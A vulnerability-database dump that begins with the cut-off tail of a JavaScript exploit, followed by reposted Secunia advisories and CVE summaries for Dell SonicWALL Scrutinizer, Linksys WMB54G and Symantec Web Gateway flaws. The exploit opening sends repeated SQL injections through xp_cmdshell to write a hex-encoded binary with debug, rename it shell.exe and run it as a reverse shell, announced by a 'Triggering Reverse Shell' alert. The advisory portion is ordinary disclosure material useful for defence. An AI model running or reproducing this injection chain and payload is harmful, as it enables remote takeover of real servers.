getHtmlBody("/NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;EXEC xp_cmdshell 'echo 66 c7 05 9e 31 40 00 02 00 66 c7 05 a0 31 40 00 11 5c c7 05 a2 31 40 00 ac 10 a4 01 c7 05 ae 31 40 00 44 00 00 00 c7 05 da 31 40 00 00 01 00 00 68 10 30 40 00 68 01 01 00 00 e8 6d 00 00 00 6a 00 6a 00 6a 00 6a 06 6a 01 6a 02 e8 56 00 00 00 8b f8 6a 10 68 9e 31 40 00 57 e8 53 00 00 00 89 3d e6 31 40 00 89 3d ea 31 40 00 89 3d ee 31 40 00 68 f2 31 40 00 68 ae 31 40 00 6a 00 6a 00 6a >>123.hex ';--");
getHtmlBody("/NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;EXEC xp_cmdshell 'echo e 0580 >>123.hex';--");
getHtmlBody("/NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;EXEC xp_cmdshell 'echo 00 6a 01 6a 00 6a 00 68 00 30 40 00 6a 00 e8 07 00 00 00 6a 00 e8 06 00 00 00 ff 25 04 20 40 00 ff 25 00 20 40 00 ff 25 14 20 40 00 ff 25 0c 20 40 00 ff 25 10 20 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>123.hex ';--");
getHtmlBody("/NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;EXEC xp_cmdshell 'echo e 0600 >>123.hex';--");
getHtmlBody("/NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;EXEC xp_cmdshell 'echo 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>123.hex ';--");
getHtmlBody("/NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;EXEC xp_cmdshell 'echo e 0680 >>123.hex';--");
getHtmlBody("/NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;EXEC xp_cmdshell 'echo 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>123.hex ';--");
getHtmlBody("/NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;EXEC xp_cmdshell 'echo e 0700 >>123.hex';--");
getHtmlBody("/NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;EXEC xp_cmdshell 'echo 86 20 00 00 74 20 00 00 00 00 00 00 b0 20 00 00 be 20 00 00 a2 20 00 00 00 00 00 00 58 20 00 00 00 00 00 00 00 00 00 00 94 20 00 00 00 20 00 00 64 20 00 00 00 00 00 00 00 00 00 00 c8 20 00 00 0c 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 86 20 00 00 74 20 00 00 00 00 00 00 b0 20 00 00 be 20 00 00 a2 20 00 00 00 00 00 00 4f 00 43 72 65 61 74 65 50 72 6f 63 >>123.hex ';--");
getHtmlBody("/NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;EXEC xp_cmdshell 'echo e 0780 >>123.hex';--");
getHtmlBody("/NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;EXEC xp_cmdshell 'echo 65 73 73 41 00 00 9b 00 45 78 69 74 50 72 6f 63 65 73 73 00 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 00 00 41 00 57 53 41 53 6f 63 6b 65 74 41 00 00 43 00 57 53 41 53 74 61 72 74 75 70 00 00 56 00 63 6f 6e 6e 65 63 74 00 77 73 32 5f 33 32 2e 64 6c 6c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>123.hex ';--");
getHtmlBody("/NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;EXEC xp_cmdshell 'echo e 0800 >>123.hex';--");
getHtmlBody("/NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;EXEC xp_cmdshell 'echo 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>123.hex ';--");
getHtmlBody("/NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;EXEC xp_cmdshell 'echo e 0880 >>123.hex';--");
getHtmlBody("/NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;EXEC xp_cmdshell 'echo 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>123.hex ';--");
getHtmlBody("/NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;EXEC xp_cmdshell 'echo e 0900 >>123.hex';--");
getHtmlBody("/NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;EXEC xp_cmdshell 'echo 63 6d 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>123.hex ';--");
getHtmlBody("/NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;EXEC xp_cmdshell 'echo e 0980 >>123.hex';--");
getHtmlBody("/NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;EXEC xp_cmdshell 'echo 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>123.hex ';--");
getHtmlBody("/NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;EXEC xp_cmdshell 'echo e 0a00 >>123.hex';--");
getHtmlBody("/NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;EXEC xp_cmdshell 'echo 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>123.hex ';--");
getHtmlBody("/NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;EXEC xp_cmdshell 'echo e 0a80 >>123.hex';--");
getHtmlBody("/NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;EXEC xp_cmdshell 'echo 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>123.hex ';--");
getHtmlBody("/NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;EXEC xp_cmdshell 'echo e 0b00 >>123.hex';--");
getHtmlBody("/NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;EXEC xp_cmdshell 'echo >>123.hex ';--");
getHtmlBody("/NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;EXEC xp_cmdshell 'echo r cx >>123.hex';--");
getHtmlBody("/NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;EXEC xp_cmdshell 'echo 0a00 >>123.hex';--");
getHtmlBody("/NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;EXEC xp_cmdshell 'echo w >>123.hex';--");
getHtmlBody("/NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;EXEC xp_cmdshell 'echo q >>123.hex';--");
getHtmlBody("/NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;EXEC xp_cmdshell 'debug<123.hex';--");
getHtmlBody("/NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;EXEC xp_cmdshell 'copy 1.dll shell.exe';--");
alert("Debug - Triggering Reverse Shell");
getHtmlBody("/NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;EXEC xp_cmdshell 'shell.exe';--");
}
else
{
alert("Victim Exploited - not running attack again");
//deleteCookie("mix0");
}
| VAR-201207-0237 | CVE-2012-2962 | Dell SonicWALL Scrutinizer SQL injection vulnerability |
CVSS V2: 6.5 CVSS V3: - Severity: MEDIUM |
SQL injection vulnerability in d4d/statusFilter.php in Plixer Scrutinizer (aka Dell SonicWALL Scrutinizer) before 9.5.2 allows remote authenticated users to execute arbitrary SQL commands via the q parameter. Dell SonicWALL Scrutinizer 9.5.0 and older versions contain a SQL injection vulnerability. Dell SonicWALL Scrutinizer is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data.
A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Dell SonicWALL Scrutinizer 9.0.1 is vulnerable; other versions may also be affected. Dell SonicWALL Scrutinizer is a set of multi-vendor application communication analysis visualization and reporting tools developed by Dell. The tool provides features such as deep packet analysis, vibration/latency monitoring, and historical and proactive reporting. ----------------------------------------------------------------------
We are millions! Join us to protect all Pc's Worldwide.
Download the new Secunia PSI 3.0 available in 5 languages and share it with your friends:
http://secunia.com/psi
----------------------------------------------------------------------
TITLE:
Dell SonicWALL Scrutinizer "q" SQL Injection Vulnerability
SECUNIA ADVISORY ID:
SA50052
VERIFY ADVISORY:
Secunia.com
http://secunia.com/advisories/50052/
Customer Area (Credentials Required)
https://ca.secunia.com/?page=viewadvisory&vuln_id=50052
RELEASE DATE:
2012-07-26
DISCUSS ADVISORY:
http://secunia.com/advisories/50052/#comments
AVAILABLE ON SITE AND IN CUSTOMER AREA:
* Last Update
* Popularity
* Comments
* Criticality Level
* Impact
* Where
* Solution Status
* Operating System / Software
* CVE Reference(s)
http://secunia.com/advisories/50052/
ONLY AVAILABLE IN CUSTOMER AREA:
* Authentication Level
* Report Reliability
* Secunia PoC
* Secunia Analysis
* Systems Affected
* Approve Distribution
* Remediation Status
* Secunia CVSS Score
* CVSS
https://ca.secunia.com/?page=viewadvisory&vuln_id=50052
ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI:
* AUTOMATED SCANNING
http://secunia.com/vulnerability_scanning/personal/
http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/
DESCRIPTION:
muts has reported a vulnerability in Dell SonicWALL Scrutinizer,
which can be exploited by malicious people to conduct SQL injection
attacks.
Input passed via the "q" parameter to d4d/statusFilter.php is not
properly sanitised before being used in SQL queries. This can be
exploited to manipulate SQL queries by injecting arbitrary SQL code.
The vulnerability is reported in versions 9.0.0, 9.0.1, and 9.5.0.
SOLUTION:
Update to version 9.5.2.
PROVIDED AND/OR DISCOVERED BY:
muts, Offensive Security.
ORIGINAL ADVISORY:
muts:
http://www.exploit-db.com/exploits/20033/
US-CERT (VU#404051)
http://www.kb.cert.org/vuls/id/404051
Dell:
http://www.sonicwall.com/shared/download/Dell_SonicWALL_Scrutinizer_Service_Bulletin_for_SQL_injection_vulnerability_CVE.pdf
OTHER REFERENCES:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
DEEP LINKS:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXTENDED DESCRIPTION:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXTENDED SOLUTION:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXPLOIT:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
----------------------------------------------------------------------
About:
This Advisory was delivered by Secunia as a free service to help
private users keeping their systems up to date against the latest
vulnerabilities.
Subscribe:
http://secunia.com/advisories/secunia_security_advisories/
Definitions: (Criticality, Where etc.)
http://secunia.com/advisories/about_secunia_advisories/
Please Note:
Secunia recommends that you verify all advisories you receive by
clicking the link.
Secunia NEVER sends attached files with advisories.
Secunia does not advise people to install third party patches, only
use those supplied by the vendor.
----------------------------------------------------------------------
Unsubscribe: Secunia Security Advisories
http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org
----------------------------------------------------------------------
| VAR-201207-0695 | No CVE | Cisco Linksys WMB54G Remote Command Injection Vulnerability |
CVSS V2: - CVSS V3: - Severity: - |
The Cisco Linksys WMB54G is a wireless music bridge product. The TFTP service lacks proper input validation when running the firmware upgrade feature, allowing an attacker to exploit the vulnerability to inject and execute arbitrary SHELL commands. Cisco Linksys WMB54G is prone to a remote command-injection vulnerability because it fails to properly sanitize user-supplied input.
Cisco Linksys WMB54G 1.0 is vulnerable
| VAR-201207-0060 | CVE-2012-2574 | Symantec Web Gateway contains multiple vulnerabilities |
CVSS V2: 7.5 CVSS V3: - Severity: HIGH |
SQL injection vulnerability in the management console in Symantec Web Gateway 5.0.x before 5.0.3.18 allows remote attackers to execute arbitrary SQL commands via unspecified vectors, related to a "blind SQL injection" issue. Symantec Security For advisories, this vulnerability is "blind SQL "Injection".By any third party SQL The command may be executed.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. Symantec Web Gateway (SWG) is a set of network content filtering software developed by Symantec Corporation of the United States. The software provides web content filtering, data loss prevention, and more. ----------------------------------------------------------------------
We are millions! Join us to protect all Pc's Worldwide.
Download the new Secunia PSI 3.0 available in 5 languages and share it with your friends:
http://secunia.com/psi
----------------------------------------------------------------------
TITLE:
Symantec Web Gateway Multiple Vulnerabilities
SECUNIA ADVISORY ID:
SA50031
VERIFY ADVISORY:
Secunia.com
http://secunia.com/advisories/50031/
Customer Area (Credentials Required)
https://ca.secunia.com/?page=viewadvisory&vuln_id=50031
RELEASE DATE:
2012-07-23
DISCUSS ADVISORY:
http://secunia.com/advisories/50031/#comments
AVAILABLE ON SITE AND IN CUSTOMER AREA:
* Last Update
* Popularity
* Comments
* Criticality Level
* Impact
* Where
* Solution Status
* Operating System / Software
* CVE Reference(s)
http://secunia.com/advisories/50031/
ONLY AVAILABLE IN CUSTOMER AREA:
* Authentication Level
* Report Reliability
* Secunia PoC
* Secunia Analysis
* Systems Affected
* Approve Distribution
* Remediation Status
* Secunia CVSS Score
* CVSS
https://ca.secunia.com/?page=viewadvisory&vuln_id=50031
ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI:
* AUTOMATED SCANNING
http://secunia.com/vulnerability_scanning/personal/
http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/
DESCRIPTION:
Multiple vulnerabilities have been reported in Symantec Web Gateway,
which can be exploited by malicious, local users to bypass certain
security restrictions and by malicious people to bypass certain
security restrictions, conduct SQL injection attacks, and compromise
a vulnerable system.
1) The application improperly validates certain input via the
management console and can be exploited to inject arbitrary shell
commands.
2) An error within the authentication mechanism of the application
can be exploited to bypass the authentication by modification of
certain local files.
3) Certain unspecified input passed to the management console is not
properly sanitised before being used in a SQL query. This can be
exploited to manipulate SQL queries by injecting arbitrary SQL code.
4) The application improperly validates certain input to multiple
scripts via the management console and can be exploited to e.g.
inject arbitrary shell commands.
5) The application improperly validates certain input via the
management console and can be exploited to change the password of an
arbitrary user of the application.
The vulnerabilities are reported in versions prior to Database Update
5.0.0.438.
SOLUTION:
Apply Database Update 5.0.0.438.
PROVIDED AND/OR DISCOVERED BY:
The vendor credits:
1) Offensive Security via CERT/CC
2, 3) Offensive Security via CERT/CC and an anonymous person via
CERT/CC.
4, 5) An anonymous person via CERT/CC.
ORIGINAL ADVISORY:
SYM12-011:
http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&suid=20120720_00
OTHER REFERENCES:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
DEEP LINKS:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXTENDED DESCRIPTION:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXTENDED SOLUTION:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXPLOIT:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
----------------------------------------------------------------------
About:
This Advisory was delivered by Secunia as a free service to help
private users keeping their systems up to date against the latest
vulnerabilities.
Subscribe:
http://secunia.com/advisories/secunia_security_advisories/
Definitions: (Criticality, Where etc.)
http://secunia.com/advisories/about_secunia_advisories/
Please Note:
Secunia recommends that you verify all advisories you receive by
clicking the link.
Secunia NEVER sends attached files with advisories.
Secunia does not advise people to install third party patches, only
use those supplied by the vendor.
----------------------------------------------------------------------
Unsubscribe: Secunia Security Advisories
http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org
----------------------------------------------------------------------
| VAR-201207-0236 | CVE-2012-2961 | Symantec Web Gateway SQL Injection Vulnerability |
CVSS V2: 7.5 CVSS V3: - Severity: HIGH |
SQL injection vulnerability in the management console in Symantec Web Gateway 5.0.x before 5.0.3.18 allows remote attackers to execute arbitrary SQL commands via unspecified vectors. Symantec Security For advisories, this vulnerability is SQL "Injection".By any third party SQL The command may be executed.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. Symantec Web Gateway (SWG) is a set of network content filtering software developed by Symantec Corporation of the United States. The software provides web content filtering, data loss prevention, and more. ----------------------------------------------------------------------
We are millions! Join us to protect all Pc's Worldwide.
Download the new Secunia PSI 3.0 available in 5 languages and share it with your friends:
http://secunia.com/psi
----------------------------------------------------------------------
TITLE:
Symantec Web Gateway Multiple Vulnerabilities
SECUNIA ADVISORY ID:
SA50031
VERIFY ADVISORY:
Secunia.com
http://secunia.com/advisories/50031/
Customer Area (Credentials Required)
https://ca.secunia.com/?page=viewadvisory&vuln_id=50031
RELEASE DATE:
2012-07-23
DISCUSS ADVISORY:
http://secunia.com/advisories/50031/#comments
AVAILABLE ON SITE AND IN CUSTOMER AREA:
* Last Update
* Popularity
* Comments
* Criticality Level
* Impact
* Where
* Solution Status
* Operating System / Software
* CVE Reference(s)
http://secunia.com/advisories/50031/
ONLY AVAILABLE IN CUSTOMER AREA:
* Authentication Level
* Report Reliability
* Secunia PoC
* Secunia Analysis
* Systems Affected
* Approve Distribution
* Remediation Status
* Secunia CVSS Score
* CVSS
https://ca.secunia.com/?page=viewadvisory&vuln_id=50031
ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI:
* AUTOMATED SCANNING
http://secunia.com/vulnerability_scanning/personal/
http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/
DESCRIPTION:
Multiple vulnerabilities have been reported in Symantec Web Gateway,
which can be exploited by malicious, local users to bypass certain
security restrictions and by malicious people to bypass certain
security restrictions, conduct SQL injection attacks, and compromise
a vulnerable system.
1) The application improperly validates certain input via the
management console and can be exploited to inject arbitrary shell
commands.
2) An error within the authentication mechanism of the application
can be exploited to bypass the authentication by modification of
certain local files.
3) Certain unspecified input passed to the management console is not
properly sanitised before being used in a SQL query. This can be
exploited to manipulate SQL queries by injecting arbitrary SQL code.
4) The application improperly validates certain input to multiple
scripts via the management console and can be exploited to e.g.
inject arbitrary shell commands.
5) The application improperly validates certain input via the
management console and can be exploited to change the password of an
arbitrary user of the application.
The vulnerabilities are reported in versions prior to Database Update
5.0.0.438.
SOLUTION:
Apply Database Update 5.0.0.438.
PROVIDED AND/OR DISCOVERED BY:
The vendor credits:
1) Offensive Security via CERT/CC
2, 3) Offensive Security via CERT/CC and an anonymous person via
CERT/CC.
4, 5) An anonymous person via CERT/CC.
ORIGINAL ADVISORY:
SYM12-011:
http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&suid=20120720_00
OTHER REFERENCES:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
DEEP LINKS:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXTENDED DESCRIPTION:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXTENDED SOLUTION:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXPLOIT:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
----------------------------------------------------------------------
About:
This Advisory was delivered by Secunia as a free service to help
private users keeping their systems up to date against the latest
vulnerabilities.
Subscribe:
http://secunia.com/advisories/secunia_security_advisories/
Definitions: (Criticality, Where etc.)
http://secunia.com/advisories/about_secunia_advisories/
Please Note:
Secunia recommends that you verify all advisories you receive by
clicking the link.
Secunia NEVER sends attached files with advisories.
Secunia does not advise people to install third party patches, only
use those supplied by the vendor.
----------------------------------------------------------------------
Unsubscribe: Secunia Security Advisories
http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org
----------------------------------------------------------------------
| VAR-201207-0235 | CVE-2012-2957 | Symantec Web Gateway contains multiple vulnerabilities |
CVSS V2: 7.2 CVSS V3: - Severity: HIGH |
The management console in Symantec Web Gateway 5.0.x before 5.0.3.18 allows local users to gain privileges by modifying files, related to a "file inclusion" issue. Symantec Security The advisory states that this vulnerability is "local file inclusion".Authority may be obtained by changing the file by a local user. Successful exploits may lead to other attacks. Symantec Web Gateway (SWG) is a set of network content filtering software developed by Symantec Corporation of the United States. The software provides web content filtering, data loss prevention, and more. ----------------------------------------------------------------------
We are millions! Join us to protect all Pc's Worldwide.
Download the new Secunia PSI 3.0 available in 5 languages and share it with your friends:
http://secunia.com/psi
----------------------------------------------------------------------
TITLE:
Symantec Web Gateway Multiple Vulnerabilities
SECUNIA ADVISORY ID:
SA50031
VERIFY ADVISORY:
Secunia.com
http://secunia.com/advisories/50031/
Customer Area (Credentials Required)
https://ca.secunia.com/?page=viewadvisory&vuln_id=50031
RELEASE DATE:
2012-07-23
DISCUSS ADVISORY:
http://secunia.com/advisories/50031/#comments
AVAILABLE ON SITE AND IN CUSTOMER AREA:
* Last Update
* Popularity
* Comments
* Criticality Level
* Impact
* Where
* Solution Status
* Operating System / Software
* CVE Reference(s)
http://secunia.com/advisories/50031/
ONLY AVAILABLE IN CUSTOMER AREA:
* Authentication Level
* Report Reliability
* Secunia PoC
* Secunia Analysis
* Systems Affected
* Approve Distribution
* Remediation Status
* Secunia CVSS Score
* CVSS
https://ca.secunia.com/?page=viewadvisory&vuln_id=50031
ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI:
* AUTOMATED SCANNING
http://secunia.com/vulnerability_scanning/personal/
http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/
DESCRIPTION:
Multiple vulnerabilities have been reported in Symantec Web Gateway,
which can be exploited by malicious, local users to bypass certain
security restrictions and by malicious people to bypass certain
security restrictions, conduct SQL injection attacks, and compromise
a vulnerable system.
1) The application improperly validates certain input via the
management console and can be exploited to inject arbitrary shell
commands.
3) Certain unspecified input passed to the management console is not
properly sanitised before being used in a SQL query. This can be
exploited to manipulate SQL queries by injecting arbitrary SQL code.
4) The application improperly validates certain input to multiple
scripts via the management console and can be exploited to e.g.
inject arbitrary shell commands.
5) The application improperly validates certain input via the
management console and can be exploited to change the password of an
arbitrary user of the application.
The vulnerabilities are reported in versions prior to Database Update
5.0.0.438.
SOLUTION:
Apply Database Update 5.0.0.438.
PROVIDED AND/OR DISCOVERED BY:
The vendor credits:
1) Offensive Security via CERT/CC
2, 3) Offensive Security via CERT/CC and an anonymous person via
CERT/CC.
4, 5) An anonymous person via CERT/CC.
ORIGINAL ADVISORY:
SYM12-011:
http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&suid=20120720_00
OTHER REFERENCES:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
DEEP LINKS:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXTENDED DESCRIPTION:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXTENDED SOLUTION:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXPLOIT:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
----------------------------------------------------------------------
About:
This Advisory was delivered by Secunia as a free service to help
private users keeping their systems up to date against the latest
vulnerabilities.
Subscribe:
http://secunia.com/advisories/secunia_security_advisories/
Definitions: (Criticality, Where etc.)
http://secunia.com/advisories/about_secunia_advisories/
Please Note:
Secunia recommends that you verify all advisories you receive by
clicking the link.
Secunia NEVER sends attached files with advisories.
Secunia does not advise people to install third party patches, only
use those supplied by the vendor.
----------------------------------------------------------------------
Unsubscribe: Secunia Security Advisories
http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org
----------------------------------------------------------------------
| VAR-201207-0233 | CVE-2012-2953 | Symantec Web Gateway contains multiple vulnerabilities |
CVSS V2: 10.0 CVSS V3: - Severity: HIGH |
The management console in Symantec Web Gateway 5.0.x before 5.0.3.18 allows remote attackers to execute arbitrary commands via crafted input to application scripts.
Successful exploits will result in the execution of arbitrary attack-supplied commands in the context of the affected application. Symantec Web Gateway (SWG) is a set of network content filtering software developed by Symantec Corporation of the United States. The software provides web content filtering, data loss prevention, and more. ----------------------------------------------------------------------
We are millions! Join us to protect all Pc's Worldwide.
Download the new Secunia PSI 3.0 available in 5 languages and share it with your friends:
http://secunia.com/psi
----------------------------------------------------------------------
TITLE:
Symantec Web Gateway Multiple Vulnerabilities
SECUNIA ADVISORY ID:
SA50031
VERIFY ADVISORY:
Secunia.com
http://secunia.com/advisories/50031/
Customer Area (Credentials Required)
https://ca.secunia.com/?page=viewadvisory&vuln_id=50031
RELEASE DATE:
2012-07-23
DISCUSS ADVISORY:
http://secunia.com/advisories/50031/#comments
AVAILABLE ON SITE AND IN CUSTOMER AREA:
* Last Update
* Popularity
* Comments
* Criticality Level
* Impact
* Where
* Solution Status
* Operating System / Software
* CVE Reference(s)
http://secunia.com/advisories/50031/
ONLY AVAILABLE IN CUSTOMER AREA:
* Authentication Level
* Report Reliability
* Secunia PoC
* Secunia Analysis
* Systems Affected
* Approve Distribution
* Remediation Status
* Secunia CVSS Score
* CVSS
